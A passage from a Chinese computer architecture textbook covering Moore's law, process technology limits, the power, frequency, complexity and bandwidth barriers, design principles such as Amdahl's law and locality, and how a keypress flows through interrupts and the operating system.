Silicon)、绝缘硅(SOI)、铜互连、低k(k指介电常数)介电材料等。45/32nm工艺所采用的高k介质和金属栅材料技术是晶体管工艺技术的又一个重要突破。采用高k介质(SiO2的k为3.9,高k材料的介电常数在20以上)如氧氮化铪硅(HfSiON)理论上相当于提升栅极的有效厚度,使漏电电流下降到10%以下。另外高k介电材料和现有的硅栅电极并不相容,采用新的金属栅电极材料可以增加驱动电流。该技术打通了通往32nm及22nm工艺的道路,扫清工艺技术中的一大障碍。摩尔称此举是CMOS工艺技术中的又一里程碑,将摩尔定律又延长了另一个10~15年。Intel公司最新CPU上使用的三维晶体管FinFET,为摩尔定律的发展注入了新的活力。大多数集成电路生产厂家在45nm工艺之后已经停止了新工艺的研究,一方面是由于技术上越来越难,另一方面是由于研发成本越来越高。在32nm工艺节点以后,只有英特尔、三星、台积电和中芯国际等少数厂家还在继续研发。摩尔定律是半导体产业的一个共同预测和奋斗目标,但随着工艺的发展逐渐逼近极限,人们发现越来越难跟上这个目标。摩尔定律在发展过程中多次被判了“死刑”,20世纪90年代,笔者读研究生的时候就有人说摩尔定律要终结了,可是每次都能起死回生。但这次可能是真的大限到了。摩尔定律的终结仅仅指的是晶体管尺寸难以进一步缩小,并不是硅平台的终结。过去50年,工艺技术的发展主要是按照晶体管不断变小这一个维度发展,以后还可以沿多个维度发展,例如通过在硅上“长出”新的材料来降低功耗,还可以跟应用结合在硅上“长出”适合各种应用的晶体管来。此外,伴随着新材料和器件结构的发展,半导体制造已经转向“材料时代”。ITRS中提出的非传统CMOS器件包括超薄体SOI、能带工程晶体管、垂直晶体管、双栅晶体管、FinFET等。未来有望被广泛应用的新兴存储器件主要有磁性存储器(MRAM)、纳米存储器(NRAM)、分子存储器(Molecular Memory)等。新兴的逻辑器件主要包括谐振隧道二极管、单电子晶体管器件、快速单通量量子逻辑器件、量子单元自动控制器件、自旋电子器件(Spintronic Storage)、碳纳米管(Carbon Nanotube)、硅纳米线(Silicon Nanowire)、分子电子器件(Molecular Electronic)等。2.工艺和计算机结构由摩尔定律带来的工艺进步和计算机体系结构之间互为动力、互相促进。从历史上看,工艺技术和体系结构的关系已经经历了三个阶段。第一个阶段是晶体管不够用的阶段。那时计算机由很多独立的芯片构成,由于集成度的限制,计算机体系结构不可能设计得太复杂。第二个阶段随着集成电路集成度越来越高,摩尔定律为计算机体系结构设计提供“更多、更快、更省电”的晶体管,微处理器蓬勃发展。“更多”指的是集成电路生产工艺在相同面积下提供了更多的晶体管来满足计算机体系结构发展的需求。“更快”指的是晶体管的开关速度不断提高,提高了计算机频率。“更省电”指的是随着工艺进步,工作电压降低,晶体管和连线的负载电容也降低,而功耗跟电压的平方成正比,跟电容大小成正比。在0.13μm工艺之前,工艺每发展一代,电压就成比例下降,例如0.35μm工艺的工作电压是3.3V,0.25μm工艺的工作电压是2.5V,0.18μm工艺的工作电压是1.8V,0.13μm工艺的工作电压是1.2V。此外,随着线宽的缩小,晶体管和连线电容也相应变小。这个阶段摩尔定律发展的另外一个显著特点就是处理器越来越快,但存储器只是容量增加,速度却没有显著提高。20世纪80年代这个问题还不突出,那时内存和CPU频率都不高,访问内存和运算差不多快。但是后来CPU主频不断提高,存储器只增加容量不提高速度,CPU的速度和存储器的速度形成剪刀差。什么叫剪刀差?就是差距像张开的剪刀一样,刚开始只差一点,到后来越来越大。从20世纪80年代中后期开始到21世纪初,体系结构研究的很大部分都在解决处理器和内存速度的差距问题,甚至导致CPU的含义也发生了变化。最初CPU就是指中央处理器,主要由控制器和运算器组成,但是现在的CPU中80%的晶体管是一级、二级甚至三级高速缓存。摩尔定律的发展使得CPU除了包含运算器和控制器以外,还包含一部分存储器,甚至包括一部分IO接口在里面。现在进入了第三个阶段,晶体管越来越多,但是越来越难用,晶体管变得“复杂、不快、不省电、不便宜”。“复杂”指的是纳米级工艺的物理效应,如线间耦合、片内漂移、可制造性问题等增加了物理设计的难度。早期的工艺线间距大,连线之间干扰小,纳米级工艺两根线挨得很近,容易互相干扰。90nm工艺之前,制造工艺比较容易控制,生产出来的硅片工艺参数分布比较均匀;90nm工艺之后,工艺越来越难控制,同一个硅片不同部分的晶体管也有快有慢(叫作工艺漂移)。纳米级工艺中物理设计还需要专门考虑可制造性问题以提高芯片成品率。此外,晶体管数目继续以指数增长,设计和验证能力的提高赶不上晶体管增加的速度,形成剪刀差。“不快”主要是由于晶体管的驱动能力越来越小,连线电容相对变大,连线延迟越来越大。再改进工艺,频率的提高也很有限了。“不省电”有三个方面的原因。一是随着工艺的更新换代漏电功耗不断增加,原来晶体管关掉以后就不导电了,纳米级工艺以后晶体管关掉后还有漏电,形成直流电流。二是电压不再随着工艺的更新换代而降低,在0.13μm工艺之前,电压随线宽而线性下降,但到90nm工艺之后,不论工艺怎么进步,工作电压始终在1V左右,降不下去了。因为晶体管的P管和N管都有一个开关的阈值电压,很难把阈值电压降得太低,而且阈值电压降低会增加漏电。三是纳米级工艺以后连线电容在负载电容中占主导,导致功耗难以降低。“不便宜”指的是在28nm之前,随着集成度的提高,由于单位硅面积的成本基本保持不变,使得单个晶体管成本指数降低。如使用12英寸晶圆的90nm、65nm、45nm和28nm工艺,每个晶圆的生产成本没有明显提高。14nm开始采用FinFET工艺,晶圆生产成本大幅提高,14nm晶圆的生产成本是28nm的两倍左右,7nm晶圆的生产成本又是14nm的两倍左右。虽然单位硅面积晶体管还可以继续增加,但单个晶体管成本不再指数降低,甚至变贵了。以前摩尔定律对结构研究的主要挑战在于“存储墙”问题,“存储墙”的研究不知道成就了多少博士和教授。现在可研究的内容更多了,存储墙问题照样存在,还多了两个问题:连线延迟成为主导,要求结构设计更加讲究互连的局部性,这种局部性对结构设计会有深刻的影响;漏电功耗很突出,性能功耗比取代性能价格比成为结构设计的主要指标。当然有新问题的时候,就需要研究解决这些问题。第三阶段结构设计的一个特点是不得已向多核(Multi-Core)发展,以降低设计验证复杂度、增加设计局部性、降低功耗。1.3.2 计算机应用和体系结构计算机应用是随时间迁移的。早期计算机的主要应用是科学工程计算,所以叫“计算”机;后来用来做事务处理,如金融系统、大企业的数据库管理;现在办公、媒体和网络已成为计算机的主要应用。计算机体系结构随着应用需求的变化而不断变化。在计算机发展的初期,处理器性能的提高主要是为了满足科学和工程计算的需求,非常重视浮点运算能力,每秒的运算速度是最重要的指标。人类对科学和工程计算的需求是永无止境的。高性能计算机虽然已经不是市场的主流,但仍然在应用的驱动下不断向前发展,并成为一个国家综合实力的重要标志。现在最快的计算机已经达到百亿亿次(EFLOPS)量级,耗电量是几十兆瓦。如果按照目前的结构继续发展下去,功耗肯定受不了,怎么办呢?可以结合应用设计专门的处理器来提高效率。众核(Many-Core)处理器和GPU现在常常被用来搭建高性能计算机,美国的第一台千万亿次计算机也是用比较专用的Cell处理器做出来的。专用处理器结构结合特定算法设计,芯片中多数面积和功耗都用来做运算,效率高。相比之下,通用处理器什么应用都能干,但干什么都不是最好的,芯片中百分之八十以上的晶体管都用来做高速缓存和转移猜测等为运算部件提供稳定的数据流和指令流的结构,只有少量的面积用来做运算。现在高性能计算机越来越走回归传统的向量机这条道路,专门做好多科学和工程计算部件,这是应用对结构发展的一点启示。计算机发展过程中的一个里程碑事件是桌面计算机/个人计算机的出现。当IBM把计算机从装修豪华的专用机房搬到桌面上时,无疑是计算机技术和计算机工业的一个划时代革命,一下子扩张了计算机的应用领域,极大地解放了生产力。桌面计算机催生了微处理器的发展,性价比成为计算机体系结构设计追求的重要目标。在桌面计算机主导计算机产业发展的二三十年(从20世纪80年代到21世纪初),CPU性能的快速提高和桌面应用的发展相得益彰。PC的应用在从DOS到Windows、从办公到游戏的过程中不断升级性能的要求。在这个过程中,以IPC作为主要指标的微体系结构的进步和以主频作为主要指标的工艺的发展成为CPU性能提高的两大动力,功劳不分轩轾。性能不断提高的微处理器逐渐蚕食了原来由中型机和小型机占领的服务器市场,X86处理器现已成为服务器的主要CPU。在游戏之后,PC厂家难以“发明”出新的应用,失去了动员用户升级桌面计算机的持续动力,PC市场开始饱和,成为成熟市场。随着互联网和媒体技术的迅猛发展,网络服务和移动计算成为一种非常重要的计算模式,这一新的计算模式要求微处理器具有处理流式数据类型的能力、支持数据级和线程级并行性、更高的存储和IO带宽、低功耗、低设计复杂度和设计的可伸缩性,同时要求缩短芯片进入市场的周期。从主要重视运算速度到更加注重均衡的性能,强调运算、存储和IO能力的平衡,强调以低能耗完成大量的基于Web的服务、以网络媒体为代表的流处理等。性能功耗比成为这个阶段计算机体系结构设计的首要目标。云计算时代的服务器端CPU从追求高性能(High Performance)向追求高吞吐率(High Throughput)演变,一方面给了多核CPU更广阔的应用舞台,另一方面单芯片的有限带宽也限制了处理器核的进一步增加。随着云计算服务器规模的不断增加,供电成为云服务器中心发展的严重障碍,因此,低功耗也成为服务器端CPU的重要设计目标。1.3.3 计算机体系结构发展前面分析了工艺和应用的发展趋势,当它们作用在计算机体系结构上时,对结构的发展产生了重大影响。计算机体系结构过去几十年都是在克服各种障碍的过程中发展的,目前计算机体系结构的进一步发展面临复杂度、主频、功耗、带宽等障碍。(1)复杂度障碍工艺技术的进步为结构设计者提供了更多的资源来实现更高性能的处理器芯片,也导致了芯片设计复杂度的大幅度增加。现代处理器设计队伍动辄几百到几千人,但设计能力的提高还是远远赶不上复杂度的提高,验证能力更是成为芯片设计的瓶颈。另外,晶体管特征尺寸缩小到纳米级给芯片的物理设计带来了巨大的挑战。纳米级芯片中连线尺寸缩小,相互间耦合电容所占比重增大,连线间的信号串扰日趋严重;硅片上的性能参数(如介电常数、掺杂浓度等)的漂移变化导致芯片内时钟树的偏差;晶体管尺寸的缩小使得蚀刻等过程难以处理,在芯片设计时就要充分考虑可制造性。总之,工艺所提供的晶体管更多了,也更“难用”了,导致设计周期和设计成本大幅度增加。在过去六七十年的发展历程中,计算机体系结构经历了一个由简单到复杂,由复杂到简单,又由简单到复杂的否定之否定过程。自从20世纪40年代发明电子计算机以来,最早期的处理器结构由于工艺技术的限制,不可能做得很复杂;随着工艺技术的发展,到20世纪60年代处理器结构变得复杂,流水线技术、动态调度技术、向量机技术被广泛使用,典型的机器包括IBM的360系列以及Cray的向量机;20世纪80年代RISC技术的提出使处理器结构得到一次较大的简化(X86系列从Pentium III开始,把CISC指令内部翻译成若干RISC操作来进行动态调度,内部流水线也采用RISC结构);但后来随着深度流水、乱序执行、多发射、高速缓存、转移预测技术的实现,RISC处理器结构变得越来越复杂,现在的RISC微处理器普遍能允许数百条指令乱序执行,如Intel的Sunny Cov最多可以容纳352条指令。目前,包括超标量RISC和超长指令字(Very Long Instruction Word,简称VLIW)在内的指令级并行技术使得处理器核变得十分复杂,通过进一步增加处理器核的复杂度来提高性能已经十分有限,通过细分流水线来提高主频的方法也很难再延续下去。需要探索新的结构技术来在简化结构设计的前提下充分利用摩尔定律提供的晶体管,以进一步提高处理器的功能和性能。(2)主频障碍主频持续增长的时代已经结束。摩尔定律本质上是晶体管尺寸以及晶体管翻转速度变化的定律,但由于商业的原因,摩尔定律曾经被赋予每18个月处理器主频提高一倍的含义。这个概念是在Intel跟AMD竞争的时候提出来的。Intel的Pentium III主频不如AMD的K5/K6高,但其流水线效率高,实际运行程序的性能比AMD的K5/K6好,于是AMD就拿主频说事,跟Intel比主频;Intel说主频不重要,关键是看实际性能,谁跑程序跑得快。后来Intel的Pentium IV处理器把指令流水线从Pentium III的10级增加到20级,主频比AMD的处理器高了很多,但是相同主频下比AMD性能要低,两个公司反过来了;这时候轮到Intel拿主频说事,AMD反过来说主频不重要,实际性能重要。那段时间我们确实看到Intel处理器的主频在翻番地提高。Intel曾经做过一个研究,准备把Pentium IV的20级流水线再细分成40级,也就是一条指令至少40拍才能做完,做了很多模拟分析后得到一个结论,只要把转移猜测表做大一倍、二级Cache增加一倍,可以弥补流水级增加一倍引起的流水线效率降低。后来该项目取消了,Intel说4GHz以上做不上去了,改口说摩尔定律改成每两年处理器核的数目增加一倍。事实上过去每代微处理器主频是其上一代的两倍多,其中只有1.4倍来源于器件的按比例缩小,另外1.4倍来源于结构的优化,即流水级中逻辑门数目的减少。目前的高主频处理器中,指令流水线的划分已经很细,每个流水级只有10~15级FO4(等效4扇出反相器)的延迟,已经难以再降低。电路延迟随晶体管尺寸缩小的趋势在0.13μm工艺的时候也开始变慢了,而且连线延迟的影响越来越大,连线延迟而不是晶体管翻转速度将制约处理器主频的提高。在Pentium IV的20级流水线中有两级只进行数据的传输,没有进行任何有用的运算。(3)功耗障碍随着晶体管数目的增加以及主频的提高,功耗问题越来越突出。现代的通用处理器功耗峰值已经高达上百瓦,按照硅片面积为1~2平方厘米计算,其单位面积的热密度已经远远超过了普通的电炉。以Intel放弃4GHz以上的Pentium IV项目为标志,功耗问题成为导致处理器主频难以进一步提高的直接因素。在移动计算领域,功耗更是压倒一切的指标。因此如何降低功耗的问题已经十分迫切。如果说传统的CPU设计追求的是每秒运行的次数(运算速度)以及每一块钱所能买到的性能(性能价格比),那么在今天,每瓦特功耗所得到的性能(性能功耗比)已经成为越来越重要的指标。就像买汽车,汽车的最高时速是200公里还是300公里大部分人不在意,更在意的是汽车的价格要便宜,百公里油耗要低。CMOS电路的功耗与主频和规模都成正比,与电压的平方成正比,而主频在一定程度上又跟电压成正比。由于晶体管的特性,0.13μm工艺以后工作电压不随着工艺的进步而降低,加上频率的提高,导致功耗密度随集成度的增加而增加。另外纳米级工艺的漏电功耗大大增加,在65nm工艺的处理器中漏电功耗已经占了总功耗的30%。这些都对计算机体系结构的低功耗设计提出了挑战。降低功耗需要从工艺技术、物理设计、体系结构设计、系统软件以及应用软件等多个方面共同努力。(4)带宽障碍随着工艺技术的发展,处理器片内的处理能力越来越强。按照目前的发展趋势,现代处理器很快将在片内集成十几甚至几十个高性能处理器核,而芯片进行计算所需要的数据归根结底是来自片外。高性能的多核处理器如不能低延迟、高带宽地同外部进行数据交互,则会出现“嘴小肚子大”“茶壶里倒饺子”的情况,整个系统的性能会大大降低。芯片的引脚数不可能无限增加。通用CPU封装一般都有上千个引脚,一些服务器CPU有四五千个引脚,有时候封装成本已经高于硅的成本了。处理器核的个数以指数增加,封装不变,意味着每个CPU核可以使用的引脚数按指数级下降。冯·诺依曼结构中CPU和内存在逻辑上是分开的,指令跟数据都存在内存中,CPU要不断从内存取指令和数据才能进行运算。传统的高速缓存技术的主要作用是降低平均访问延迟,解决CPU速度跟存储器速度不匹配的问题,但并不能有效解决访存带宽不够的问题。现在普遍通过高速总线来提高处理器的带宽,这些高速总线采用差分低摆幅信号进行传输。不论是访存总线(如DDR4、FBDIMM等)、系统总线(如HyperTransport)还是IO总线(如PCIe),其频率都已经达到GHz级,有的甚至超过10GHz,片外传输频率高于片内运算频率。即便如此,由于片内晶体管数目的指数级增加,处理器体系结构设计也要面临每个处理器核的平均带宽不断减少的情况。进入21世纪以来,如果说功耗是摩尔定律的第一个“杀手”,导致结构设计从单核到多核,那么带宽问题就是摩尔定律的第二个“杀手”,必将导致结构设计的深刻变化。一些新型工艺技术,如3D封装技术、光互连技术,有望缓解处理器的带宽瓶颈。上述复杂度、主频、功耗、带宽的障碍对计算机体系结构的发展造成严重制约,使得计算机体系结构在通用CPU核的微结构方面逐步趋于成熟,开始往片内多核、片上系统以及结合具体应用的专用结构方面发展。1.4 体系结构设计的基本原则计算机体系结构发展很快,但在发展过程中遵循一些基本原则,这些原则包括平衡性、局部性、并行性和虚拟化。1.4.1 平衡性结构设计的第一个原则就是要考虑平衡性。一个木桶所盛的水量的多少由最短的木板决定,一个结构最终体现出的性能受限于其瓶颈部分。计算机是个复杂系统,影响性能的因素很多。例如,一台个人计算机使用起来比较卡顿,一般人会觉得主要是由于CPU性能不够,实际上真正引起性能卡顿的可能是内存带宽、硬盘或网络带宽、GPU性能,或者是CPU和GPU之间数据传输不顺,等等。又如,一般的CPU微结构研究专注于其中某些重要因素如Cache命中率和转移猜测命中率的改善,但通用CPU微结构中影响性能的因素非常复杂,重排序缓冲项数、发射队列项数、重命名寄存器个数、访存队列项数、失效队列项数、转移指令队列项数与一级Cache失效延迟、二级Cache失效延迟、三级Cache失效延迟等需要平衡设计,有关队列大小应保证一级Cache和二级Cache的失效不会引起流水线的堵塞。通用CPU设计有一个关于计算性能和访存带宽平衡的经验原则,即峰值浮点运算速度(MFLOPS)和峰值访存带宽(MB/s)为1∶1左右。表1.3给出了部分典型CPU的峰值浮点运算速度和访存带宽比。从表中可以看出,一方面,最新的CPU峰值浮点运算速度和访存带宽比逐步增加,说明带宽已经成为通用CPU的重要瓶颈,多核的发展是有限度的;另一方面,如果去除SIMD(Single Instruction Multiple Data)的因素,即去除128位SIMD浮点峰值为64位浮点的2倍,256位SIMD浮点峰值为64位浮点的4倍的因素,则浮点峰值和访存带宽还是基本保持着1∶1的关系,因为SIMD一般只有科学计算使用,一般的事务处理不会用SIMD的浮点性能。表 1.3: 典型CPU的浮点峰值和访存带宽比CPU年代主频SIMDGFLOPSGB/s含SIMD比例无SIMD比例DEC Alpha 212641,996600MHz-1.22.00.600.60AMD K7 Athlon1,999700MHz-1.41.60.880.88Intel Pentium III1,999600MHz-0.60.80.750.75Intel Pentium IV2,0011.5GHz-3.03.20.940.94Intel Core2 E6420 X22,0072.8GHz128位22.48.52.641.32AMD K10 Phenom II X4 9552,0093.2GHz128位51.221.32.401.20Intel Nehalem X55602,0092.8GHz128位44.832.01.400.70IBM Power82,0145.0GHz128位480.0230.42.081.04AMD Piledriver Fx83502,0144.0GHz256位128.029.94.291.07Intel Skylake E3-1230 V52,0153.4GHz256位217.634.16.381.60龙芯3A20002,0151.0GHz-16.016.01.001.00龙芯3A50002,0202.5GHz256位160.051.23.130.78计算机体系结构中有一个著名的Amdahl定律。该定律指出通过使用某种较快的执行方式所获得的性能的提高,受限于不可使用这种方式提高性能的执行时间所占总执行时间的百分比,例如一个程序的并行加速比,最终受限于不能被并行化的串行部分。也就是性能的提升不仅跟其中的一些指令的运行时间的优化有关,还和这些指令在总指令数中所占的比例有关:ExTimenew=Extimeold∗((1−Fractionenhanced)+FractionenhancedSpeedupenhanced)ExTimenew=Extimeold∗((1−Fractionenhanced)+FractionenhancedSpeedupenhanced)Speedupoverall=ExtimeoldExTimenewSpeedupoverall=ExtimeoldExTimenew在计算机体系结构设计里Amdahl定律的体现非常普遍。比如说并行化,一个程序中有一些部分是不能被并行化的,而这些部分将成为程序优化的一个瓶颈。举一个形象的例子,一个人花一个小时可以做好一顿饭,但是60个人一起做不可能用一分钟就能做好,因为做饭的过程有一些因素是不可被并行化的。结构设计要统筹兼顾,抓住主要因素的同时不要忽略次要因素,否则当主要的瓶颈问题解决以后,原来不是瓶颈的次要因素可能成为瓶颈。就像修马路,在一个本来堵车的路口修座高架桥,这个路口不堵车了,但与这个路口相邻的路口可能堵起来。体系结构设计的魅力正在于在诸多复杂因素中做到统筹兼顾。1.4.2 局部性局部性是事物普遍存在的性质。一个人认识宇宙的范围受限于光速和人的寿命,这是一种局部性;一个人只能认识有限的人,其中天天打交道的熟悉的人更少,这也是一种局部性。局部性在计算机中普遍存在,是计算机性能优化的基础。体系结构利用局部性进行性能优化时,最常见的是利用事件局部性,即有些事件频繁发生,有些事件不怎么发生,在这种情况下要重点优化频繁发生的事件。当结构设计基本平衡以后,优化性能要抓主要矛盾,重点改进最频繁发生事件的执行效率。作为设计者必须清楚什么是经常性事件,以及提高这种情况下机器运行的速度对计算机整体性能有多大贡献。例如,假设我们把处理器中浮点功能部件执行的性能提高一倍,但是整个程序里面只有10%的浮点指令,总的性能加速比是1÷0.95=1.053,也就是说即使把所有浮点指令的计算速度提高了一倍,总的CPU性能只提高了5%。所以应该加快经常性事件的速度。把经常性的事件找出来,而且它占的百分比越高越好,再来优化这些事件,这是一个基本的原理。RISC指令系统的提出就是利用指令的事件局部性对频繁发生的事件进行重点优化的例子。硬件转移猜测则是利用转移指令跳转方向的局部性,即同一条转移指令在执行时经常往同一个方向跳转。利用访存局部性进行优化是体系结构提升访存指令性能的重要方法。访存局部性包括时间局部性和空间局部性两种。时间局部性指的是一个数据被访问后很有可能多次被访问。空间局部性指的是一个数据被访问后,它邻近的数据很有可能被访问,例如数组按行访问时相邻的数据连续被访问,按列访问时虽然空间上不连续,但每次加上一个固定的步长,也是一种特殊的空间局部性。计算机体系结构使用访存局部性原理来提高性能的地方很多,如高速缓存、TLB、预取都利用了访存局部性。1.4.3 并行性计算机体系结构提高性能的另外一个方法就是开发并行性。计算机中一般可以开发三种层次的并行性。第一个层次的并行性是指令级并行。指令级并行是20世纪最后20年体系结构提升性能的主要途径。指令级并行性可以在保持程序二进制兼容的前提下提高性能,这一点是程序员特别喜欢的。指令级并行分成两种。一种是时间并行,即指令流水线。指令流水线就像工厂生产汽车的流水线一样,汽车生产工厂不会等一辆汽车都装好以后再开始下一辆汽车的生产,而是在多道工序上同时生产多辆汽车。另一种是空间并行,即多发射,或者叫超标量。多发射就像多车道的马路,而乱序执行(Out-of-Order Execution)就是允许在多车道上超车,超标量和乱序执行常常一起使用来提高效率。在20世纪80年代RISC出现后,随后的20年指令级并行的开发达到了一个顶峰,2010年后进一步挖掘指令级并行的空间已经不大。第二个层次的并行性是数据级并行,主要指单指令流多数据流(SIMD)的向量结构。最早的数据级并行出现在ENIAC上。20世纪六七十年代以Cray为代表的向量机十分流行,从Cray-1、Cray-2,到后来的Cray X-MP、Cray Y-MP。直到Cray-4后,SIMD沉寂了一段时间,现在又开始恢复活力,而且用得越来越多。例如X86中的AVX多媒体指令可以用256位通路做四个64位的运算或八个32位的运算。SIMD作为指令级并行的有效补充,在流媒体领域发挥了重要的作用,早期主要用在专用处理器中,现在已经成为通用处理器的标配。第三个层次的并行性是任务级并行。任务级并行大量存在于Internet应用中。任务级并行的代表是多核处理器以及多线程处理器,是目前计算机体系结构提高性能的主要方法。任务级并行的并行粒度较大,一个线程中包含几百条或者更多的指令。上述三种并行性在现代计算机中都存在。多核处理器运行线程级或进程级并行的程序,每个核采用多发射流水线结构,而且往往有SIMD向量部件。
要研究怎么造计算机,硬件方面要理解计算机组成原理和计算机体系结构,软件方面要理解操作系统和编译原理。计算机体系结构就是研究怎么做CPU的核心课程。信息产业的主要技术平台都是以中央处理器(Central Processing Unit,简称CPU)和操作系统(Operating System,简称OS)为核心构建起来的,如英特尔公司的X86架构CPU和微软公司的Windows操作系统构成的Wintel平台,ARM公司的ARM架构CPU和谷歌公司的Android操作系统构成的“AA”平台。龙芯正在致力于构建独立于Wintel和AA体系的第三套生态体系。1.1 计算机体系结构的研究内容计算机体系结构研究内容涉及的领域非常广泛,纵向以指令系统结构和CPU的微结构为核心,向下到晶体管级的电路结构,向上到应用程序编程接口(Application Programming Interface,简称API);横向以个人计算机和服务器的体系结构为核心,低端到手持移动终端和微控制器(Micro-Controller Unit,简称MCU)的体系结构,高端到高性能计算机(High Performance Computer,简称HPC)的体系结构。1.1.1 一以贯之为了说明计算机体系结构研究涉及的领域,我们看一个很简单平常的问题:为什么我按一下键盘,PPT会翻一页?这是一个什么样的过程?在这个过程中,应用程序(WPS)、操作系统(Windows或Linux)、硬件系统、CPU、晶体管是怎么协同工作的?下面介绍用龙芯CPU构建的系统实现上述功能的原理性过程。按一下键盘,键盘会产生一个信号送到南桥芯片,南桥芯片把键盘的编码保存在南桥内部的一个寄存器中,并向处理器发出一个外部中断信号。该外部中断信号传到CPU内部后把CPU中一个控制寄存器的某一位置为“1”,表示收到了外部中断。CPU中另外一个控制寄存器有屏蔽位来确定是否处理这个外部中断信号。屏蔽处理后的中断信号被附在一条译码后的指令上送到重排序缓冲(Re-Order Buffer,简称ROB)。外部中断是例外(Exception,也称“异常”)的一种,发生例外的指令不会被送到功能部件执行。当这条指令成为重排序缓冲的第一条指令时CPU处理例外。重排序缓冲为了给操作系统一个精确的例外现场,处理例外前要把例外指令前面的指令都执行完,后面的指令都取消掉。重排序缓冲向所有的模块发出一个取消信号,取消该指令后面的所有指令;修改控制寄存器,把系统状态设为核心态;保存例外原因、发生例外的程序计数器(Program Counter,简称PC)等到指定的控制寄存器中;然后把程序计数器的值置为相应的例外处理入口地址进行取指(LoongArch中例外的入口地址计算规则可以参见其体系结构手册)。处理器跳转到相应的例外处理器入口后执行操作系统代码,操作系统首先保存处理器现场,包括寄存器内容等。保存现场后,操作系统向CPU的控制寄存器读例外原因,发现是外部中断例外,就向南桥的中断控制器读中断原因,读的同时清除南桥的中断位。读回来后发现中断原因是有人敲了空格键。操作系统接下来要查找读到的空格是给谁的:有没有进程处在阻塞状态等键盘输入。大家都学过操作系统的进程调度,知道进程至少有三个状态:运行态、阻塞态、睡眠态,进程在等IO输入时处在阻塞态。操作系统发现有一个名为WPS的进程处于阻塞态,这个进程对空格键会有所响应,就把WPS唤醒。WPS被唤醒后处在运行状态。发现操作系统传过来的数据是个键盘输入空格,表示要翻页。WPS就把下一页要显示的内容准备好,调用操作系统中的显示驱动程序,把要显示的内容送到显存,由图形处理器(Graphic Processing Unit,简称GPU)通过访问显存空间刷新屏幕。达到了翻一页的效果。再看一个问题:如果在翻页的过程中,发现翻页过程非常卡顿,即该计算机在WPS翻页时性能较低,可能是什么原因呢?首先得看看系统中有没有其他任务在运行,如果有很多任务在运行,这些任务会占用CPU、内存带宽、IO带宽等资源,使得WPS分到的资源不够,造成卡顿。如果系统中没有其他应用与WPS抢资源,还会卡顿,那是什么原因呢?多数人会认为是CPU太慢,需要升级。实际上,在WPS翻页时,CPU干的活不多。一种可能是下一页包含很多图形,尤其是很多矢量图,需要GPU画出来,GPU忙不过来了。另外一种可能是要显示的内容数据量大,要把大量数据从WPS的应用程序空间传给GPU使用的专门空间,内存带宽不足导致不能及时传输。在独立显存的情况下,数据如何从内存传输到显存有两种不同的机制:由CPU从内存读出来再写到显存需要CPU具有专门的IO加速功能,因为显存一般是映射在CPU的IO空间;不通过CPU,通过直接内存访问(Direct Memory Access,简称DMA)的方式直接从内存传输到显存会快得多。“计算机体系结构”课程是研究怎么造计算机,而不是怎么用计算机。我们不是学习驾驶汽车,而是学习如何造汽车。一个计算机体系结构设计人员就像一个带兵打仗的将领,要学会排兵布阵。要上知天文、下知地理,否则就不会排兵布阵,或者只会纸上谈兵地排兵布阵,只能贻误军国大事。对计算机体系结构设计来说,“排兵布阵”就是体系结构设计,“上知天文”就是了解应用程序、操作系统、编译器的行为特征,“下知地理”就是了解逻辑、电路、工艺的特点。永远不要就体系结构论体系结构,要做到应用、系统、结构、逻辑、电路、器件的融会贯通。就像《论语》中说的“吾道一以贯之”。给出了常见通用计算机系统的结构层次图。该图把计算机系统分成应用程序、操作系统、硬件系统、晶体管四个大的层次。注意把这四个层次联系起来的三个界面。第一个界面是应用程序编程接口API(Application Programming Interface),也可以称作“操作系统的指令系统”,介于应用程序和操作系统之间。API是应用程序的高级语言编程接口,在编写程序的源代码时使用。常见的API包括C语言、Fortran语言、Java语言、JavaScript语言接口以及OpenGL图形编程接口等。使用一种API编写的应用程序经重新编译后可以在支持该API的不同计算机上运行。所有应用程序都是通过API编出来的,在IT产业,谁控制了API谁就控制了生态,API做得好,APP(Application)就多。API是建生态的起点。第二个界面是指令系统ISA(Instruction Set Architecture),介于操作系统和硬件系统之间。常见的指令系统包括X86、ARM、MIPS、RISC-V和LoongArch等。指令系统是实现目标码兼容的关键,由于IT产业的主要应用都是通过目标码的形态发布的,因此ISA是软件兼容的关键,是生态建设的终点。指令系统除了实现加减乘除等操作的指令外,还包括系统状态的切换、地址空间的安排、寄存器的设置、中断的传递等运行时环境的内容。第三个界面是工艺模型,介于硬件系统与晶体管之间。工艺模型是芯片生产厂家提供给芯片设计者的界面,除了表达晶体管和连线等基本参数的SPICE(Simulation Program with Integrated Circuit Emphasis)模型外,该工艺所能提供的各种IP也非常重要,如实现PCIE接口的物理层(简称PHY)等。需要指出的是,在API和ISA之间还有一层应用程序二进制接口(Application Binary Interface,简称ABI)。ABI是应用程序访问计算机硬件及操作系统服务的接口,由计算机的用户态指令和操作系统的系统调用组成。为了实现多进程访问共享资源的安全性,处理器设有“用户态”与“核心态”。用户程序在用户态下执行,操作系统向用户程序提供具有预定功能的系统调用函数来访问只有核心态才能访问的硬件资源。当用户程序调用系统调用函数时,处理器进入核心态执行诸如访问IO设备、修改处理器状态等只有核心态才能执行的指令。处理完系统调用后,处理器返回用户态执行用户代码。相同的应用程序二进制代码可以在相同ABI的不同计算机上运行。学习计算机体系结构的人一定要把图1.1装在心中。从一般意义上说,计算机体系结构的研究内容包括指令系统结构、硬件系统结构和CPU内部的微结构。但做体系结构设计而上不懂应用和操作系统,下不懂晶体管级行为,就像带兵打仗排兵布阵的人不知天文、不晓地理,是做不好体系结构的。首先,指令系统就是从应用程序算法中抽取出来的“算子”。只有对应用程序有深入的了解,才能决定哪些事情通过指令系统由硬件直接实现,哪些事情通过指令组合由软件实现。其次,硬件系统和CPU的微结构要针对应用程序的行为进行优化。如针对媒体处理等流式应用,需要通过预取提高性能;CPU的高速缓存就是利用了应用程序访存的局部性;CPU的转移猜测算法就是利用了应用程序转移行为的重复性和相关性;CPU的内存带宽设计既要考虑CPU本身的访存需求,也要考虑由显示引起的GPU访问内存的带宽需求。再次,指令系统和CPU微结构的设计要充分考虑操作系统的管理需求。如操作系统通过页表进行虚存管理需要CPU实现TLB(Translation Lookaside 